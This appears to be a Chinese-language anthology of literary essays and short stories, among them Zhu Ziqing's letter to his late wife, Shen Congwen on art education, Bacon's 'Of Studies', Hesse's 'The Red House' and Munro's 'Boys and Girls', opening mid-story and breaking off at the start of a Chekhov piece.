　　过了一会儿，随着他的心跳缓下来，他发现自己所想的，只是克丽斯汀的声音随着“好吧，亲爱的”响了一下就归于空寂。从来就没什么好害怕的。这么久以来，如果他以前跟她说话严厉点，她会立刻从他的生活中消失——“好吧，亲爱的”——也许甚至还带着亲切和退缩的笑容。毕竟，她只是个愚蠢的伦敦街头妓女而已。

　　几天后，他妻子写来的一封信改变了一切。自从她回到纽约后，她大约每星期寄来一封匆匆写就的语气温和的信，用打字机打在漂亮的信纸上，是她找到工作的那间商业公司里的。但这封信是手写的，写在柔软的蓝色信纸上，处处看得出是精心写成。信上说她爱他，很想念他，想让他回家——不过马上又说，选择权完全在他。

　　“……回想起以前我们在一起的时候，我知道问题更多出在我身上，而不是在你身上。我经常错误地把你的温柔当成软弱——那肯定是我所犯过的最糟糕的错误，想到这里就让我感觉痛苦之极，可是还有很多别的……”

　　她不改本色地用了一大段来写房地产方面的事。纽约的公寓荒很严重，她解释道，可是她已经找到一个相当不错的地方：在一个邻近地方都不错的地方二楼的三个房间，租金惊人地……

　　他很快地看了有关租金、租约、房间大小和窗户的那部分，他多看了两遍她那封信的结尾。

　　“如果你想提前回国，富布赖特项目的人不会反对，对吧？哦，我真的希望你会——希望你想回来，我是说。凯西老是问爸爸什么时候回来，我老是说：‘快了。’”

　　“我要坦白一件很糟糕的事。”那天下午在朱迪思的客厅里用茶点时，她说，“前不久有天晚上，我听了你在电话上说话——然后当然，我犯了个愚蠢的错误，在你之前放下了电话，所以你肯定知道我在听。我抱歉极了，沃伦。”

　　“哦，”他说，“嗯，没关系的。”

　　“对，我想也是，真的。如果我们住得这么近，我想总会有这种侵犯个人隐私的小事情，要是我真的想让你知道我——嗯，没关系，你知道的。”过了一会儿，她淘气地、取笑般地看了他一眼。“我以前没想到你会发这么大的火，沃伦，那么严厉，声音那么大，那么说一不二。不过我得说，我不是很喜欢那个女孩的声音，她听着有点俗气。”

　　“是啊，嗯，那件事说来话长。”他意识到自己的脸红了，就低头看着自己的茶杯，直到他觉得可以再次抬眼看，就换了个话题。“朱迪思，我想我很快就要回家了。卡罗尔已经给我们在纽约找到一个地方住，所以等我——”

　　“哦，那么说你们是解决了。”朱迪思说，“哦，那可真是太好了。”

　　“解决什么？”

　　“让你们都这么痛苦的什么事呀。哦，我真高兴，你没有真的以为我相信了什么家里有人生病的胡话，对吧？有没有哪个年轻的妻子会为了那种原因，就独自漂洋过海？卡罗尔以为我信了，我当时甚至还有点不高兴。我一直想说，哦，跟我说说吧，亲爱的，跟我说说吧。因为你知道，人一老，沃伦——”她眼里涌出了泪水，她用手擦却擦不干净。“人一老，就很想让你爱的人过得幸福。”

　　沃伦启航前的一天夜里，行李都已经收拾好，地下室干净得像是花了一天时间擦洗后的结果。他开始完成最后一件任务，即把书桌收拾好。大部分书都可以扔掉，需要的文件全都可以一起放进行李箱里的最后一点地方——天哪，他就要离开这儿了；哦，天哪，他要回家了——可是他拿起最后一把东西时，露出了那个纸板做的小音乐盒。

　　他不急不躁地把音乐盒慢慢倒着演奏，似乎想让自己永远记住这首声音细细的、旋律忧郁的乐曲，他由着它唤起了一幅情景——克丽斯汀躺在他怀里喃喃地说：“哦，我爱你。”因为他也想把这记住，然后他松开手，让音乐盒掉进垃圾堆。

致亡妻

朱自清

　　谦，日子真快，一眨眼你已经死了三个年头了。这三年里世事不知变化了多少回，但你未必注意这些个，我知道。你第一惦记的是你几个孩子，第二便轮着我。孩子和我平分你的世界，你在日如此；你死后若还有知，想来还如此的。告诉你，我夏天回家来着：迈儿长得结实极了，比我高一个头。闰儿父亲说是最乖，可是没有先前胖了。采芷和转子都好。五儿全家夸她长得好看；却在腿上生了湿疮，整天坐在竹床上不能下来，看了怪可怜的。六儿，我怎么说好，你明白，你临终时也和母亲谈过，这孩子是只可以养着玩儿的，他左挨右挨去年春天，到底没有挨过去。这孩子生了几个月，你的肺病就重起来了。我劝你少亲近他，只监督着老妈子照管就行。你总是忍不住，一会儿提，一会儿抱的。可是你病中为他操的那一份儿心也够瞧的。那一个夏天他病的时候多，你成天儿忙着，汤呀，药呀，冷呀，暖呀，连觉也没有好好儿睡过。那里有一分一毫想着你自己。瞧着他硬朗点儿你就乐，干枯的笑容在黄蜡般的脸上，我只有暗中叹气而已。

　　从来想不到做母亲的要像你这样。从迈儿起，你总是自己喂乳，一连四个都这样。你起初不知道按钟点儿喂，后来知道了，却又弄不惯；孩子们每夜里几次将你哭醒了，特别是闷热的夏季。我瞧你的觉老没睡足。白天里还得做菜，照料孩子，很少得空儿。你的身子本来坏，四个孩子就累你七八年。到了第五个，你自己实在不成了，又没乳，只好自己喂奶粉，另雇老妈子专管她。但孩子跟老妈子睡，你就没有放过心；夜里一听见哭，就竖起耳朵听，工夫一大就得过去看。十六年初，和你到北京来，将迈儿，转子留在家里；三年多还不能去接他们，可真把你惦记苦了。你并不常提，我却明白。你后来说你的病就是惦记出来的；那个自然也有份儿，不过大半还是养育孩子累的。你的短短的十二年结婚生活，有十一年耗费在孩子们身上；而你一点不厌倦，有多少力量用多少，一直到自己毁灭为止。你对孩子一般儿爱，不问男的女的，大的小的。也不想到什么“养儿防老，积谷防饥”，只拚命的爱去。你对于教育老实说有些外行，孩子们只要吃得好玩得好就成了。这也难怪你，你自己便是这样长大的。况且孩子们原都还小，吃和玩本来也要紧的。你病重的时候最放不下的还是孩子。病的只剩皮包着骨头了，总不信自己不会好；老说：“我死了，这一大群孩子可苦了。”后来说送你回家，你想着可以看见迈儿和转子，也愿意；你万不想到会一走不返的。我送车的时候，你忍不住哭了，说：“还不知能不能再见？”可怜，你的心我知道，你满想着好好儿带着六个孩子回来见我的。谦，你那时一定这样想，一定的。

　　除了孩子，你心里只有我。不错，那时你父亲还在；可是你母亲死了，他另有个女人，你老早就觉得隔了一层似的。出嫁后第一年你虽还一心一意依恋着他老人家，到第二年上我和孩子可就将你的心占住，你再没有多少工夫惦记他了。你还记得第一年我在北京，你在家里。家里来信说你待不住，常回娘家去。我动气了，马上写信责备你。你教人写了一封覆信，说家里有事，不能不回去。这是你第一次也可以说第末次的抗议，我从此就没给你写信。暑假时带了一肚子主意回去，但见了面，看你一脸笑，也就拉倒了。打这时候起，你渐渐从你父亲的怀里跑到我这儿。你换了金镯子帮助我的学费，叫我以后还你；但直到你死，我没有还你。你在我家受了许多气，又因为我家的缘故受你家里的气，你都忍着。这全为的是我，我知道。那回我从家乡一个中学半途辞职出走。家里人讽你也走。哪里走！只得硬着头皮往你家去。那时你家像个冰窖子，你们在窖里足足住了三个月。好容易我才将你们领出来了，一同上外省去。小家庭这样组织起来了。你虽不是什么阔小姐，可也是自小娇生惯养的，做起主妇来，什么都得干一两手；你居然做下去了，而且高高兴兴地做下去了。菜照例满是你做，可是吃的都是我们；你至多夹上两三筷子就算了。你的菜做得不坏，有一位老在行大大地夸奖过你。你洗衣服也不错，夏天我的绸大褂大概总是你亲自动手。你在家老不乐意闲着；坐前几个“月子”，老是四五天就起床，说是躺着家里事没条没理的。其实你起来也还不是没条理；咱们家那么多孩子，哪儿来条理？在浙江住的时候，逃过两回兵难，我都在北平。真亏你领着母亲和一群孩子东藏西躲的；末一回还要走多少里路，翻一道大岭。这两回差不多只靠你一个人。你不但带了母亲和孩子们，还带了我一箱箱的书；你知道我是最爱书的。在短短的十二年里，你操的心比人家一辈子还多；谦，你那样身子怎么经得住！你将我的责任一股脑儿担负了去，压死了你；我如何对得起你！

　　你为我的捞什子书也费了不少神；第一回让你父亲的男佣人从家乡捎到上海去。他说了几句闲话，你气得在你父亲面前哭了。第二回是带着逃难，别人都说你傻子。你有你的想头：“没有书怎么教书？况且他又爱这个玩意儿。”其实你没有晓得，那些书丢了也并不可惜；不过教你怎么晓得，我平常从来没和你谈过这些个！总而言之，你的心是可感谢的。这十二年里你为我吃的苦真不少，可是没有过几天好日子。我们在一起住，算来也还不到五个年头。无论日子怎么坏，无论是离是合，你从来没对我发过脾气，连一句怨言也没有。——别说怨我，就是怨命也没有过。老实说，我的脾气可不大好，迁怒的事儿有的是。那些时候你往往抽噎着流眼泪，从不回嘴，也不号啕。不过我也只信得过你一个人，有些话我只和你一个人说，因为世界上只你一个人真关心我，真同情我。你不但为我吃苦，更为我分苦；我之有我现在的精神，大半是你给我培养着的。这些年来我很少生病。但我最不耐烦生病，生了病就呻吟不绝，闹那伺候病的人。你是领教过一回的，那回只一两点钟，可是也够麻烦了。你常生病，却总不开口，挣扎着起来；一来怕搅我，二来怕没人做你那份儿事。我有一个坏脾气，怕听人生病，也是真的。后来你天天发烧，自己还以为南方带来的疟疾，一直瞒着我。明明躺着，听见我的脚步，一骨碌就坐起来。我渐渐有些奇怪，让大夫一瞧，这可糟了，你的一个肺已烂了一个大窟窿了！大夫劝你到西山去静养，你丢不下孩子，又舍不得钱；劝你在家里躺着，你也丢不下那份儿家务。越看越不行了，这才送你回去。明知凶多吉少，想不到只一个月工夫你就完了！本来盼望还见得着你，这一来可拉倒了。你也何尝想到这个？父亲告诉我，你回家独住着一所小住宅，还嫌没有客厅，怕我回去不便哪。

　　前年夏天回家，上你坟上去了。你睡在祖父母的下首，想来还不孤单的。只是当年祖父母的坟太小了，你正睡在圹底下。这叫做“抗圹”，在生人看来是不安心的；等着想办法哪。那时圹上圹下密密地长着青草，朝露浸湿了我的布鞋。你刚埋了半年多，只有圹下多出一块土，别的全然看不出新坟的样子。我和隐今夏回去，本想到你的坟上来；因为她病了没来成。我们想告诉你，五个孩子都好，我们一定尽心教养他们，让他们对得起死了的母亲——你！谦，好好儿放心安睡吧，你。

艺术教育

沈从文

　　一个对“艺术”有兴味，同时对“艺术教育”还怀了一点希望的人，必时常碰着两件觉得怪难受的事情，其一是在街头散步，一见触目那些新式店面“美术化”的招牌，其一是随意遛进什么南纸店，整整齐齐放在玻璃橱里的“美术化”文具。见到这个不能不发生感慨，以为当前所谓“美术化”的东西，实在太不美，当前制作这些“美术化”玩意儿的人物，也实在太不懂美了。即小见大，举一反三，我们就明白中国艺术教育是个什么东西，高等艺术教育有了些什么成绩。且可明白中学生和多数市民，在艺术方面所受的熏陶，通常具有一种什么观念。因为有资格给照相馆或咖啡馆商店作门面装饰设计、市招设计的，照例是艺术专门学校的毕业生，新式文具设计也多是这种人物，享用这些艺术品而获“无言之教”的，却是那个“大众”。这人若知道这些艺术家，不仅仅只是从各种企业里已渐渐获有地位，而且大部分出了专科学校的大门，即迈入各地中学校的大门，作为人之师，来教育中学生“什么是艺术”，他会觉得情形真是凄惨而可怕。

　　这自然是事实，无可奈何的事实。可不能责怪学艺术的人。应负责的还是历届最高教育当局，对艺术教育太不认真。

　　虽有那么一个学校，却从不希望他成个象样的学校。这类学校的设立，与其说是为“教育”，不如说是为“点缀”。没有所谓艺术教育还好办，因为属于纯艺术比较少数人能欣赏的，各有它习惯的师承，从事者必具有兴味而又秉有坚苦卓绝之意志，辅以严格的训练，方能有所成就。植根厚，造诣深，成就当然特别大。想独辟蹊径不容易，少数能够继往开来独走新路的，作品必站得住，不是侥幸可致。谁想挟政治势力，或因缘时会，滥竽充数，终归淘汰。属于工业艺术的，也各有它习惯的师承，技巧的获得，必有所本。这种人虽缺少普遍的理解，难于融会贯通，然专精独长，作品也必站得住，不是一蹴可至。到模仿外来新的成为不可免的问题时，他们有眼睛会如何来模仿。一到艺术成为“教育”，三年满师，便得自立门户，这一来可真糟了。

　　由于教育当局对艺术教育缺少认识，历来私立艺术专门学校，既不曾好好注意监督过，国立的又只近于敷衍，南来一个，北来一个。（或因人而设，在普通大学里又来一系。）有了学校必需校长，就随便委聘一个校长。校长聘定以后，除每年共总花个三四十万块钱，就不闻不问，只等候学校把学生毕业文凭送部盖印，打发学生高升了事。这种艺术教育，想得良好效果当然不可能。这种“提倡”艺术，事实上当然适得其反。原有的无从保存，新来的不三不四。艺术学校等于虚设，中学校图画课等于虚设，因为两者都近于徒然浪费国家金钱，浪费个人生命。

　　当局的“教育”如此，再加上革命成功后党国名流的附庸风雅，二三狡黠艺术家的自作风气，或凭政治势力，或用新闻政策，煽扬标榜，无所不至。人人避难就易，到处见到草率和急就，粗窳丑陋一变而成为创作的主流。学艺术玩艺术的人越来越多，为的是它比学别的更容易。因之“艺术家”增多，派别也增多，只是真的够称为宏伟制作的艺术品，却已成为一个毫无意义的名词了。

　　当前的教育当局，如果还愿意尽一点责，就必需赶快想法来制止或补救。纵不能作通盘打算，至少也得对现有的艺术教育，重新有种考虑，有个办法。

　　在街上见到的东西使人难受，想起中学校的图画觉得凄惨，如果我们到什么艺术学校去参观一下，才真叫作难受凄惨！私立学校设备的简陋不用说了。就拿堂堂北京国立美术专门学校说吧，成立了十多年，到如今不特连一座学生寄宿舍没有，据说招生若过三百人，连教室还不够用。问问经费，每月法币一万元。看看图书室的收藏书籍和图片，找找这样，没有，找找那样，也没有。再看看上课情形，倘若无意中我们走进去的那间教室是教“国画”的，眼看着那一群“受业”对着“老师”的画稿临摹时，真令人哭笑不得。下课钟响后，我们还不妨在院中拉着一个学生，问一问在这里除临摹以外还看了多少画，听了多少教益，且翻翻他们的讲义看看，结果会叹一口长气。他们即或想多学一点，跟谁去学？从何学起？学校虽给他们请了许多知名之士来作教授，却不曾预备一个能够让那些教授自我教育提高水平的图书室。不管是中国画系，西洋画系，图案系，雕塑系，作学生的想多得到一点知识，学校既不给他何种机会，教授当然也难给他何种机会。问问能不能到几个收藏古画古器物机关，如故宫、古物陈列所一类地方去观摹的特别方便，不成。问问他们能不能到几个聚集图片比较丰富的文化学术机关，如北平图书馆、北平研究院一类地方去观摹的特别便利，也不成。学画的学校就教他们学画，此外无事。杭州的西湖艺专稍好一点，几年来人事上少更动是原因之一。但就个人几年前得来的印象，还是觉得学校对学生教育尚注意，对教授的提高，去理想实在还远。教授对自己的进步要求，不够认真。问题自然是经费和人材，两不够用。

　　且就图案画来说，一个专家，学校能聘请他，他又有兴趣作人之师，假若他从事于此道又将近十年，对这方面有热烈求知的趣味，至少会有如下的小小储蓄：一千种花纸样子，一千种花布样子，一千种锦缎样子，一千种金石花纹图片，一千种雕玉图片，一千种陶瓷砖瓦形体和花纹图片，一千种镂空、浮雕、半浮雕或立体器物花纹图片，一千种刺绣、缂丝、地毯、窗帘图片，一千种具有民间风俗性的版图画片，一千种具有历史或种族性艺术图片。如今对于这种轻而易举本国材料有系统的收集，不特个人无望，便是求之于学校收藏室也不可得，其余就可想而知了。

　　笔者深望最高教育当局，对此后中国艺术教育，应当重新有种认识，如年来对于体育教育之认识，而加以重视。政府如以为这种学校不必办，就干脆撤销，一年反可以省出一点钱作别的用途。如以为必需办，就总得把它办得象个学校。

　　目前即或不能够添设高级艺术学校，至少也得就原有几个艺术学校，增加相当经常费用，力图整顿。更必需筹划一笔款项，作为学校应有建设与补充图书费用。此外对于由各种庚款成立的文化团体，每年派遣留学生出外就学事，且应当有一二名额，留作学艺术的学生与艺专教授出国参考的机会。更应当组织一专门委员会，对于某种既不入中学校教书，又不在大学校教书，锲而不舍从事研究，对社会特有贡献的艺术家，给以经济上的帮助和精神鼓励，且对他工作给以种种方便，兼作全国艺术教育的设计，改进中小学的艺术教育。换言之，也就是从消极的敷衍的不生不死的艺术教育，变成积极的有希望求进步的艺术教育。如此一来，虽去不掉当前一切丑化，还可制止这种丑化的扩大，留下一点光明希望于未来。若再继续放任下去，那就真是教育当局的糊涂，把“堕落这个民族精神”当成一句白话，目前在筹备的全国艺展，也不过是一个应景凑趣玩意儿了。

　　一九三七年一月七日

谈读书

培根

　　读书足以怡情，足以博彩，足以长才。其怡情也，最见于独处幽居之时；其傅彩也，最见于高谈阔论之中；其长才也，最见于处世判事之际。练达之士虽能分别处理细事或一一判别枝节，然纵观统筹、全局策划，则舍好学深思者莫属。读书费时过多易惰，文采藻饰太盛则矫，全凭条文断事乃学究故态。读书补天然之不足，经验又补读书之不足，盖天生才干犹如自然花草，读书然后知如何修剪移接；而书中所示，如不以经验范之，则又大而无当。有一技之长者鄙读书，无知者羡读书，唯明智之士用读书，然书并不以用处告人，用书之智不在书中，而在书外，全凭观察得之。读书时不可存心诘难作者，不可尽信书上所言，亦不可只为寻章摘句，而应推敲细思。书有可浅尝者，有可吞食者，少数则须咀嚼消化。换言之，有只须读其部分者，有只须大体涉猎者，少数则须全读，读时须全神贯注，孜孜不倦。书亦可请人代读，取其所作摘要，但只限题材较次或价值不高者，否则书经提炼犹如水经蒸馏、淡而无味矣。

　　读书使人充实，讨论使人机智，作文使人准确。因此不常作文者须记忆特强，不常讨论者须天生聪颖，不常读书者须欺世有术，始能无知而显有知。读史使人明智，读诗使人灵秀，数学使人周密，科学使人深刻，伦理学使人庄重，逻辑修辞之学使人善辩：凡有所学，皆成性格。人之才智但有滞碍，无不可读适当之书使之顺畅，一如身体百病，皆可借相宜之运动除之。滚球利睾肾，射箭利胸肺，慢步利肠胃，骑术利头脑，诸如此类。如智力不集中，可令读数学，盖演题须全神贯注，稍有分散即须重演；如不能辨异，可令读经院哲学，盖是辈皆吹毛求疵之人；如不善求同，不善以一物阐证另一物，可令读律师之案卷。如此头脑中凡有缺陷，皆有特药可医。

我交给你们一个孩子

张晓风

　　小男孩走出大门，返身向四楼阳台上的我招手，说：“再见！”那是好多年前的事了，那个早晨是他开始上小学的第二天。

　　我其实仍然可以像昨天一样，再陪他一次，但我却狠下心来，看他自己单独去了。他有属于他的一生，是我不能相陪的，母子一场，只能看做一把借来的琴弦，能弹多久，便弹多久，但借来的岁月毕竟是有其归还期限的。

　　他欢然地走出长巷，很听话地既不跑也不跳，一副循规蹈矩的模样。我一个人怔怔地望着巷子下细细的朝阳而落泪。

　　想大声地告诉全城市，今天早晨，我交给你们一个小男孩，他还不知恐惧为何物，我却是知道的，我开始恐惧自己有没有交错？

　　我把他交给马路，我要他遵守规矩沿着人行道而行，但是，匆匆的路人啊，你们能够小心一点吗？不要撞倒我的孩子，我把我的至爱交给了纵横的道路，容许我看见他平平安安地回来。

　　我不曾搬迁户口，我们不要越区就读，我们让孩子读本区内的国民小学而不是某些私立明星小学，我努力去信任自己的教育当局，而且，是以自己的儿女为赌注来信任———但是，学校啊，当我把我的孩子交给你，你保证给他怎样的教育？今天清晨，我交给你一个欢欣诚实又颖悟的小男孩，多年以后，你将还我一个怎样的青年？

　　他开始识字，开始读书，当然，他也要读报纸、听音乐或看电视、电影，古往今来的撰述者啊，各种方式的知识传递者啊，我的孩子会因你们得到什么呢？你们将饮之以琼浆，灌之以醍醐，还是哺之以糟粕？他会因而变得正直、忠信，还是学会奸滑、诡诈？当我把我的孩子交出来，当他向这世界求知若渴，世界啊，你给他的会是什么呢？

　　世界啊，今天早晨，我，一个母亲，向你交出她可爱的小男孩，而你们将还我一个怎样的呢？！

红房子

黑塞

　　红房子，从你的小花园和葡萄园里，向我送来了整个阿尔卑斯山南面的芬芳！我多少次从你身边经过，头一回经过时，我的流浪的乐趣就震颤地想起了它的对称极，我又一次奏起往昔经常弹奏的旋律：有一个家，绿色花园里的一幢小屋，周围一片寂静，远离村落；在小房间里，朝东放着我的床，我自己的床；在小房间里，朝南摆着我的桌子，那里我也会挂上一幅小小的古老的圣母像，那是我在早年的一次旅途中，在布雷西亚买到的。

　　正如白昼是在清晨和夜晚之间，我的人生也是在旅行的欲望和安家的愿望之间渐渐消逝的。也许有朝一日我会达到这样的境地，旅途和远方在心灵中属我所有，我心灵中有它们的图像，不必再把它们变成为现实。也许有朝一日我还会达到这样的境地，我的心灵中有家乡，那就不会再向花园和红房子以目送情了——心灵中有家乡！

　　如果有一个中心，所有的力从这个中心出发向两端摆动。那是，生活会是多么不同啊！

　　但是，我的生活没有这样一个中心，而是震颤地在许多组正极和负极之间摇摆。这边是眷恋在家安居，那边是思念永远在旅途中。这边是渴望孤独和修道院，那边是思慕爱和团体！我收集过书籍和图画，但又把它们送掉。我曾摆过阔，染上过恶戏，也曾转而去禁欲与苦行。我曾经虔诚地把生命当做根本来崇敬，后来却又只能把生命看作是功能并加以爱护。

　　但是，把我变成另一个模样，这不是我的事情。这是神奇的事情。谁要寻找神奇，谁要把他引来，谁要帮助它，它就逃避谁。我的事情是，漂浮在许多紧张对立的矛盾之间，并且做好了精神准备，如果奇迹突然降临到我头上的话。我的事情是，不满并忍受着动荡不安。

　　绿色中的红房子！我对你已经有过体验，我可不想再次体验了。我曾经有过家乡，建造过一幢房屋，丈量过墙壁和屋顶，筑过花园里的小径，也曾把自己的画挂在自己的墙上。每个人都有这样的欲望——我也想按这种欲望来生活！我的许多愿望已经在生活中实现了。我想成为诗人，也真的成了诗人。我想有一所房子，也真为自己建造了一所。我想有妻室和孩子，后来也都有了。我要同人们谈话并影响他们，我也做了。可是每当一个愿望实现了以后，很快就变成了不满足。但这是我所不能忍受的。我于是怀疑起写诗来了。我觉得房屋变狭窄了。已经达到的目的，都谈不上是目的，每条路都是一条弯路，每次休憩都产生新的渴望。

　　我还会走许多弯路，还将实现许多愿望，但到头来仍将使我失望。总有一天一切都将显示它的意义。

　　那儿，矛盾消失的地方，是涅槃境界。可是，可爱的眷念的群星还向我放射出明亮的光。

夫妻间的隐私

周国平

　　有一种观念认为，相爱的夫妇间必须绝对忠诚，对各自的行为乃至思想不得有丝毫隐瞒，否则便亵渎了纯洁的爱和神圣的婚姻。

　　一个人在有了足够的阅历后便会知道，这是一种多么幼稚的观念。

　　问题在于，即使是极深笃的爱缘，或者说，正因为是极深笃的爱缘，乃至于白头偕老，共度人生，那么，在这漫长岁月中，各人怎么可能、又怎么应该没有自己的若干小秘密呢？

　　依我看，只要爱情本身是真实的，那么，即使当事人有一些不愿为人知悉甚至不愿为自己的爱人知悉的隐秘细节，也完全无损于这种真实性。我无法设想，两个富有个性的活生生的人之间的天长日久的情感生活，会是一条没有任何暗流或支流、永远不起波澜的平坦河流。倘这样，那肯定不是大自然中的河流，而只是人工建筑的水渠，倒反见其不真实了。

　　当然，爱侣之间应该有基本的诚实和相当的透明度。但是，万事都有个限度。水至清无鱼。苛求绝对诚实反而会酿成不信任的氛围，甚至逼出欺骗和伪善。一种健全的爱侣关系的前提是互相尊重，包括尊重对方的隐私权。这种尊重一方面基于爱和信任，另一方面基于对人性弱点的宽容。羞于追问相爱者难以启齿的小隐秘，乃是爱情中的自尊和教养。

　　夫妻间是否应该有个人隐私？我的看法是：应该有，——应该尊重对方的隐私权；不应该有，——不应该有太多事实上的隐私。

　　隐私有一个特别的性格：它愿意向尊重它的人公开。在充满信任氛围的好的婚姻中，正因为夫妻间都尊重对方的隐私权，事实上的隐私往往最少。

　　也许有人会问：信任和宽容会不会助长人性弱点的恶性发展，乃至毁坏爱的基础？我的回答是：凡是会被信任和宽容毁坏的，猜疑和苛求也决计挽救不了，那就让该毁掉的毁掉吧。说到底，会被信任和宽容毁坏的爱情本来就是脆弱的，相反，猜疑和苛求却可能毁坏最坚固的爱情。我们冒前一种险，却避免了后一种更坏的前途，毕竟是值得的。

　　爱情史上不乏忠贞的典范，但是，后人发掘的材料往往证实，在这类佳话与事实之间多半有着不小的出入。我对自己说：这就对了，他们不是神，都是人。

最伟大的科幻小说

埃里克 · 斯通恩特

　　我把刚来的退稿信胡乱地和以前的退稿信放在了一起。望着这沓足足十厘米厚的废纸，我突然觉得一阵绝望，也许我真的就不是当科幻作家的料——不管怎么说，我还在给一家新兴的量子计算公司干活呢，这活儿本身就几乎是科幻了，虽然我实际做的只不过是管理网站。也许我离科幻最近也只能到这地步了。

　　第二天，在办公室附近的一个餐馆，我一边舀着薄荷奶昔，一边对卡勒布（我的同事，一位量子回路专家）说：“我觉得这辈子甭想指望我的名字上杂志了。”

　　“别放弃，”他说，“你是个很棒的作家。”他读过我的几篇小说，帮我检查有没有哪些地方的科学部分弄错了。

　　我耸耸肩，“如果我不写编辑想要的东西，再棒也白搭。”

　　“为啥不写呢？”

　　“可是我根本不知道编辑喜欢什么。”我说。

　　“这么说，这是主观判断了。”卡勒布若有所思地嚼着汉堡。

　　“是啊，一个编辑觉得根本不值得发表的东西，在另一个编辑看来可能是有史以来最伟大的科幻小说。只是凭我的运气，喜欢我文章的编辑大概还没出生吧。”

　　“不，不，”卡勒布说，“你需要的是一篇能够自己适应编辑口味的小说。”

　　“我刚告诉过你。我根本不知道怎么写他们想要的东西。”我说。

　　“没错。”卡勒布从口袋里掏出一支笔，随手在纸巾上画了条曲线，“这事儿是个概率函数。正确的文字组合能让他们买下你的小说，而错误的组合意味着他们不买。”

　　“也许吧。”我不大相信地说。

　　“我们的量子计算机就能处理它。”他草草写下一个方程，“哦，伙计，这玩意会掀起一场出版业革命的。”

　　我茫然地盯着他，“你在说什么啊？”

　　他说，“想象一下你打开一本书，从第一个字开始，每一个字都是你希望读到的，人物让你着迷爱恋，情节让你热血沸腾……”

　　“那很好啊。”我说。

　　“然后另一个人打开他手中的同一本书，而这本书对他而言也是完美的。可是如果你比较两本书的话，二者的词句是不一样的，连故事情节和人物都不一样。”

　　我皱起了眉头，“你是说，弄一本电子书，根据个人喜好而自动改变内容？”

　　“不，这本书是印在纸上的，但是它的文本却是用量子计算机创作出来的。利用程序制造一个量子概率波函数，直到有人去观测书里的内容时，函数才会坍缩。”卡勒布身子往后一仰，面带满意的笑容。

　　“而当函数坍缩时……”我说，还不太明白这意味着什么。

　　“对于那个使之坍缩的人而言，书就会变成有史以来最好的书。这真是天才的主意！”卡勒布身体前倾，“你愿意成为有史以来最伟大的科幻小说的作者吗？”

　　我盯着打印机里面朝下搁着的一摞纸，“你确信我不能看一眼吗？就看一眼。”

　　“如果你看了的话，”卡勒布说，“函数就会坍缩，故事就会变成你眼中最好的小说，而不是编辑眼中的。他必须第一个看到。”

　　“连看看标题都不行吗？”我觉得有点尴尬，递一篇小说给编辑，自己却对它一无所知——虽然卡勒布向我保证，我依然算得上是作者，毕竟没有我的帮助，计算机不可能自己编一个程序去生成科幻小说的概率波函数。

　　“不行。”他说，“我已经在打印稿里硬编码了你的名字和联系方式，但是余下的部分都是未知的，直到编辑看到它为止。”我叹了口气，把稿子塞进牛皮纸信封，封上口。

　　两个月之后，我收到了回邮信封。“打开吧，”卡勒布看着信封说，“我敢肯定这次接受了。”

　　我打开了它。

　　“读出来。”卡勒布说。

　　我扫过我的姓名，念出声来，“在我看来，这是有史以来最伟大的科幻小说。”我的心脏要跳出嗓子眼了，“这无疑是你投过的所有小说中最好的一篇，可是你到底发什么昏，居然以为你能一字不动地把阿西莫夫的《日暮》照抄过来还不被发现吗？”

我仅仅是个女孩儿

门罗

　　我爸爸是个狐农。作为狐农，他会圈养一些银狐，等到秋天或初冬银狐长得一身好毛时，便宰掉它们，拿它们的皮去卖。

　　我的任务就是确保狐狸每天喝足两次水。

　　一次，一个饲料贩子到狐圈来跟爸爸聊天，我爸爸说：“你一定得见见我新雇的帮手。”我高兴得满脸通红。“我差点搞错了，”卖饲料的说，“我还以为她只是个小姑娘家呢。”

　　妈妈很少到屋外去，她和畜棚看起来格格不入。有时，她会叫我做些在屋子里干的活儿，于是我会乖乖坐到桌子旁剥桃子皮或者切洋葱。洋葱辣得我两眼刺痛，泪水汪汪。在我看来，屋里的活儿简直没完没了，既无聊乏味，又让人压抑沮丧。但是到外面给爸爸干活，却像是参加神圣的仪式一般重要。

　　我把装水罐的小车推到畜棚时，正好听到妈妈说：“等莱尔德再长大一点，你就能有一个真正的帮手了。到时候我也能让她在屋里多帮帮我了。”她谈起我时，语气冷冰冰的，似乎是带着一丝遗憾和惋惜，让我忐忑不安。“我一转身她就跑了，就像在这个家里我从来没这个女孩儿似的。”

　　过去，我认为“女孩子”是一个象征着天真、纯洁的词，就像“孩子”这个词一样，意味着无忧无虑。现在看来却完全不是这么回事。“女孩子”和我原先想的不同，过去我觉得我就是女孩子，现在我才发现，“女孩子”显然不是我现在这个样子的，却是我必须去成为的。

　　爸爸血渍斑斑的围裙提醒了我，他通常会拿枪把马射死喂给狐狸吃。因为生活所需，我早就对动物的死亡习以为常了。但我仍会觉得有一丝羞愧，对父亲和他的工作，我的心里增添了一丝戒备和疏远。

　　两周后，我得知他打算打死另一匹叫弗洛拉的马。这一次我不打算去看了，这种事情看一次就够了。

　　那天天气很好。我们先是听到弗洛拉的阵阵嘶鸣，后来又听到爸爸在大声呼叫。我和弟弟跑到畜棚前去看发生了什么事。马厩的门敞着，弗洛拉在畜棚两端来回奔跑。爸爸冲我喊道：“快关门！”

　　门关到一半时，我看到弗洛拉正直奔我而来。我刚好有时间把门闩上。莱尔德也连滚带爬地翻过沟来帮我。

　　然而我非但没有把门关上，反倒把门大大地敞开。我这么做并非早就打定了主意，我只是这么做了。弗洛拉丝毫没有减速，她从我身边飞驰过去。莱尔德急得跳脚，他大喊：“关门，关门！”虽然这时已经于事无补了。

　　父亲回来的时候已经一点多了。卡车上盖着层油布。这说明，车里有肉。我们坐下来，爸爸做了饭前祈祷。我们一碗碗地递着冒着热气的蔬菜。莱尔德在桌对面看着我，幸灾乐祸、一字一顿地说：“不管怎么说，弗洛拉跑掉都是她的错。”

　　“什么？”爸爸问。

　　“她本来能关上大门，可她没有关。她把门敞开让弗洛拉跑了。”

　　“是真的吗？”爸爸又问。

　　饭桌上的每个人都看着我。我点了点头，用力地咽了一口饭。我感到很愧疚，眼泪夺眶而出。

　　爸爸厌恶地哼了一声：“你为什么这么做？”

　　我没有回答，只是放下叉子，低着头，等着从饭桌上被赶走。

　　“算了。”爸爸说。

　　他的语气有点无奈，甚至带点宽慰。他接下来说的话永远原谅了我，同时永远摒弃了我。“她只是个女孩儿。”他说。

　　我嘴上没有辩驳，心里也没有反抗。或许他说得对。

柔弱的人

安东 · 契诃夫

　　前几天，我曾把孩子的家庭教师尤丽娅·瓦西里耶夫娜请到我的办公室来。需要结算一下工钱。

